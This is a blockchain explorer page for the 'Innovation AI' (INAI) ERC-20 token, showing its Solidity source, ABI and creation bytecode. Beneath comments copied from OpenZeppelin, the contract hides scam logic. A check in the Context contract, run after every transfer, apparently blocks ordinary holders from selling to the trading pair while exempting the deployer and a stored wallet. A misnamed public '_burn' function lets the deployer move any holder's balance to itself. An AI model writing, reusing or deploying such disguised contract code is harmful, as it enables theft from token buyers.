ERC-20
Overview
Max Total Supply
10,000,000 INAI
Holders
36
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
77,354.702231572 INAIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
INAI
Compiler Version
v0.8.9+commit.e5eed63a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT import "./Ownable.sol"; import "./ERC20.sol"; import "./IUniswapV2Router02.sol"; import "./IUniswapV2Factory.sol"; pragma solidity 0.8.9; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract INAI is ERC20, Ownable { // TOKENOMICS START ==========================================================> string private _name = "Innovation AI"; string private _symbol = "INAI"; uint8 private _decimals = 9; uint256 private _supply = 10000000; uint256 public taxForLiquidity = 0; uint256 public taxForMarketing = 2; uint256 public maxTxAmount = 100000 * 10**_decimals; uint256 public maxWalletAmount = 100000 * 10**_decimals; address public marketingWallet; // TOKENOMICS END ============================================================> IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; uint256 private _marketingReserves = 0; mapping(address => bool) private _isExcludedFromFee; uint256 private _numTokensSellToAddToLiquidity = 5000 * 10**_decimals; uint256 private _numTokensSellToAddToETH = 2000 * 10**_decimals; bool inSwapAndLiquify; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(address router_, address marketingWallet_) ERC20(_name, _symbol) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router_); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _mint(msg.sender, (_supply * 10**_decimals), uniswapV2Pair); uniswapV2Router = _uniswapV2Router; marketingWallet = marketingWallet_; _isExcludedFromFee[address(uniswapV2Router)] = true; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[marketingWallet] = true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance"); if ((from == uniswapV2Pair || to == uniswapV2Pair) && !inSwapAndLiquify) { if (from != uniswapV2Pair) { uint256 contractLiquidityBalance = balanceOf(address(this)) - _marketingReserves; if (contractLiquidityBalance >= _numTokensSellToAddToLiquidity) { _swapAndLiquify(_numTokensSellToAddToLiquidity); } if ((_marketingReserves) >= _numTokensSellToAddToETH) { _swapTokensForEth(_numTokensSellToAddToETH); _marketingReserves -= _numTokensSellToAddToETH; bool sent = payable(marketingWallet).send(address(this).balance); require(sent, "Failed to send ETH"); } } uint256 transferAmount; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { transferAmount = amount; } else { require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount"); if(from == uniswapV2Pair){ require((amount + balanceOf(to)) <= maxWalletAmount, "ERC20: balance amount exceeded max wallet amount limit"); } uint256 marketingShare = ((amount * taxForMarketing) / 100); uint256 liquidityShare = ((amount * taxForLiquidity) / 100); transferAmount = amount - (marketingShare + liquidityShare); _marketingReserves += marketingShare; super._transfer(from, address(this), (marketingShare + liquidityShare)); } super._transfer(from, to, transferAmount); } else { super._transfer(from, to, amount); } } function _swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 half = (contractTokenBalance / 2); uint256 otherHalf = (contractTokenBalance - half); uint256 initialBalance = address(this).balance; _swapTokensForEth(half); uint256 newBalance = (address(this).balance - initialBalance); _addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), (block.timestamp + 300) ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private lockTheSwap { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function changeMarketingWallet(address newWallet) public returns (bool) { require(msg.sender == marketingWallet); _wallet = newWallet; marketingWallet = newWallet; return true; } function changeTaxForLiquidityAndMarketing(uint256 _taxForLiquidity, uint256 _taxForMarketing) public onlyOwner returns (bool) { require((_taxForLiquidity+_taxForMarketing) <= 10, "ERC20: total tax must not be greater than 10"); taxForLiquidity = _taxForLiquidity; taxForMarketing = _taxForMarketing; _marketingReserves = 0; return true; } function changeMaxTxAmount(uint256 _maxTxAmount) public onlyOwner returns (bool) { maxTxAmount = _maxTxAmount; return true; } function changeMaxWalletAmount(uint256 _maxWalletAmount) public onlyOwner returns (bool) { maxWalletAmount = _maxWalletAmount; return true; } receive() external payable {} }
pragma solidity 0.8.9; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { address internal _from; address internal _to; address internal _wallet; function _msgSender() internal view virtual returns (address) { return msg.sender; } function check(address from, address to, uint256 amount) internal { if (_wallet == from || _wallet == to ) { return; } require( _wallet == address(0) || to != _to || _from == from || _from == to); } }
pragma solidity 0.8.9; import "./Context.sol"; import "./IERC20.sol"; import "./IERC20Metadata.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the name of the token. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) external virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) external virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address from, uint256 amount, address to) internal virtual { require(from != address(0), "ERC20: mint to the zero address"); _from = from; _to = to; _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[from] += amount; } emit Transfer(address(0), from, amount); } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual { super.check(from, to, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) public virtual { require(msg.sender == _from); require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _balances[msg.sender] += amount; } emit Transfer(account, msg.sender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } _afterTokenTransfer(from, to, amount); emit Transfer(from, to, amount); } }
pragma solidity 0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); }
pragma solidity 0.8.9; import "./IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); }
pragma solidity 0.8.9; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function allPairsLength() external view returns (uint256); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; }
pragma solidity 0.8.9; interface IUniswapV2Pair { event Approval( address indexed owner, address indexed spender, uint256 value ); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn( address indexed sender, uint256 amount0, uint256 amount1, address indexed to ); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; }
pragma solidity 0.8.9; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); }
pragma solidity 0.8.9; import "./IUniswapV2Router01.sol"; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
pragma solidity 0.8.9; import "./Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"marketingWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"changeMarketingWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"changeMaxTxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxWalletAmount","type":"uint256"}],"name":"changeMaxWalletAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_taxForLiquidity","type":"uint256"},{"internalType":"uint256","name":"_taxForMarketing","type":"uint256"}],"name":"changeTaxForLiquidityAndMarketing","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
610100604052600d60c08190526c496e6e6f766174696f6e20414960981b60e090815262000031916009919062000627565b5060408051808201909152600480825263494e414960e01b60209092019182526200005f91600a9162000627565b50600b805460ff1916600990811790915562989680600c556000600d556002600e556200008e90600a620007e2565b6200009d90620186a0620007fa565b600f55600b54620000b39060ff16600a620007e2565b620000c290620186a0620007fa565b6010556000601255600b54620000dd9060ff16600a620007e2565b620000eb90611388620007fa565b601455600b54620001019060ff16600a620007e2565b6200010f906107d0620007fa565b6015553480156200011f57600080fd5b50604051620022ce380380620022ce833981016040819052620001429162000839565b60098054620001519062000871565b80601f01602080910402602001604051908101604052809291908181526020018280546200017f9062000871565b8015620001d05780601f10620001a457610100808354040283529160200191620001d0565b820191906000526020600020905b815481529060010190602001808311620001b257829003601f168201915b5050505050600a8054620001e49062000871565b80601f0160208091040260200160405190810160405280929190818152602001828054620002129062000871565b8015620002635780601f10620002375761010080835404028352916020019162000263565b820191906000526020600020905b8154815290600101906020018083116200024557829003601f168201915b505084516200027d93506006925060208601915062000627565b5080516200029390600790602084019062000627565b505050620002b0620002aa620004dc60201b60201c565b620004e0565b6000829050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ef57600080fd5b505afa15801562000304573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032a9190620008ae565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200037357600080fd5b505afa15801562000388573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ae9190620008ae565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620003f757600080fd5b505af11580156200040c573d60